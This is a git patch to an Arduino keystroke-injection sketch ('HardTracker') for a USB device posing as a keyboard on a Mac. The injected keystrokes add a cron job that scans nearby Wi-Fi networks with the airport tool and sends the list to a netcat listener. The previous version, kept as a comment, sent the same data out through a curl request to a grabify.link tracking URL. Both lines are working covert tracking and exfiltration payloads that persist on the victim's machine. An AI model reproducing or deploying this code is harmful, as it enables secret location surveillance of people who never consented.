From aaef480aade5d5e1d40b1ce5ba7c0d4bed11d7e8 Mon Sep 17 00:00:00 2001 From: rootlord42 <44264056+rootlord42@users.noreply.github.com> Date: Thu, 27 Jun 2019 23:27:35 +1000 Subject: [PATCH] for netcat changed script to send info to a netcat listener. --- HardTracker.ino | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/HardTracker.ino b/HardTracker.ino index 5d7d1e4..04cf53b 100644 --- a/HardTracker.ino +++ b/HardTracker.ino @@ -15,7 +15,10 @@ void loop() { DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); - DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer \"$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d | xargs)\" https://grabify.link/LINK"); + /* You must fill in 'ip-address' and 'port' on line 19 with your own information */ + DigiKeyboard.print("* * * * * /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d > .ssid.txt; cat .ssid.txt | netcat ip-address port >/dev/null 2>&1"); + /* original command which sends info to a grabify link + DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer \"$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d | xargs)\" https://grabify.link/LINK"); */ DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_CONTROL_LEFT); DigiKeyboard.delay(500);